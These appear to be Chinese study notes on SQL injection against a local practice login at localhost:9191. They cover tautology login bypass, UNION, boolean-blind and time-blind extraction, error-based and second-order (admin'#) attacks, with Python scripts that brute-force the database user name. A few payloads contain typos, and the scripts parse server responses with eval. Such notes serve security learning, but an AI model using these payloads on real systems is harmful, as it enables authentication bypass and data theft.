漏洞原理
SQL注入攻击主要是利用程序员在编写数据库查询语句时的疏忽,通过构造恶意的SQL语句,实现对数据库的非法访问和操作。攻击者可以在用户输入的数据中注入恶意的SQL代码,当这些数据被程序用来构建SQL查询语句并执行时恶意代码将被执行,从而绕过身份验证、读取敏感数据、篡改数据库内容等。
预防:过滤,校验前后端数据
流程
步骤
字符型
1.登录需要校验,没有用户和密码,但我们要实现登录。
2.利用sql漏洞,输入恶意sql语句,数据库除了输入用户名密码,还可以在后面输入一个条件,利用or 后面跟一个恒成立的条件。数据库默认在最前面和最后面加'。
where username='liuboss' or '1'=1'
数值型
where username= 1 or 1=1
联合注入
联合注入(有回显),UNION合并两个表格,连接两个sql语句。
123'or'1'='1 order by 2--查看列数通过列数排序
使用脚本
for i in range(1,10):
#构造的请求数据
#data = {"userName":"zs' order by "+ str(i) +" --","password":"23"}
#通过post方式 发送请求
data = {"userName": "zs' order by " + str(i) + " --", "password": "23"}
resp = requests.post('http://localhost:9191/login', data=data)
print(resp.text)
123'or'1'='1 (union select user from dual)'1' --
select *from user_name where use_name = '123'
union select(select user from dual)注入查询,'1',1,'1'匹配字段,'1'from dual
data = {"userName": "zs' union all select user,'1',2,'3','4' from dual --", "password": "23"}
resp = requests.post('http://localhost:9191/login', data=data)
print(resp.text)
布尔盲注(无回显)
猜长度
select *from user_name where use_name = '123' and length(user) = 7 --
截取字符换成字母
select *from user_name where use_name = '123' and substring(user,1,1) = 7
and sunstr(user,1,1) ='T'--
手动注入太慢采用脚本
使用--‘强行终止数据内容使后面语句失效
str(i)代表位置
url = 'http://localhost:9191/login'
num = 0;
for i in range(2,10):
data = {"userName":"zs' and length(user) = "+str(i)+" --","password":"23"}
resp = requests.post(url,data=data)
d = eval(resp.text)
if d['mark'] == 'success':
num = i
break
print(num)
userName = ""
strs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in range(1,num+1):
for c in strs:
data = {"userName": "zs' and substr(user,"+str(i)+",1) = '" +c+ "' --", "password": "23"}
resp = requests.post(url,data=data)
d = eval(resp.text)
if d['mark'] == 'success':
userName = userName + c
break
time.sleep(2)
print(userName)
eval将字符串转为字典
时间盲注
利用sql响应延迟来判断是否成功
import time
time.sleep
select * from user_info where user_name = 'zs'
union select '1','2',3,'4',(select case when
length(user) = 2 then '2' else to_char(dbms_pipe.receive_message('RDS', 2)) end from dual
) from dual
报错注入
Select count(*),concat(PAYLOAD,floor(rand(0)*2))x from 表名 group by x;
二阶注入
原理:二阶注入就是无法直接注入,它是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
首先查看靶场中的用户列表,发现存在admin用户密码是admin
接下来注册一个新用户,admin'#,密码是123456,然后进入数据库查看是否注册成功
接下来登录我们新注册的账户,在这个页面可以进行修改密码,把新密码改成666666
神奇的事情发生了,数据库中admin'#的密码并没有被修改,但是admin的密码成功被修改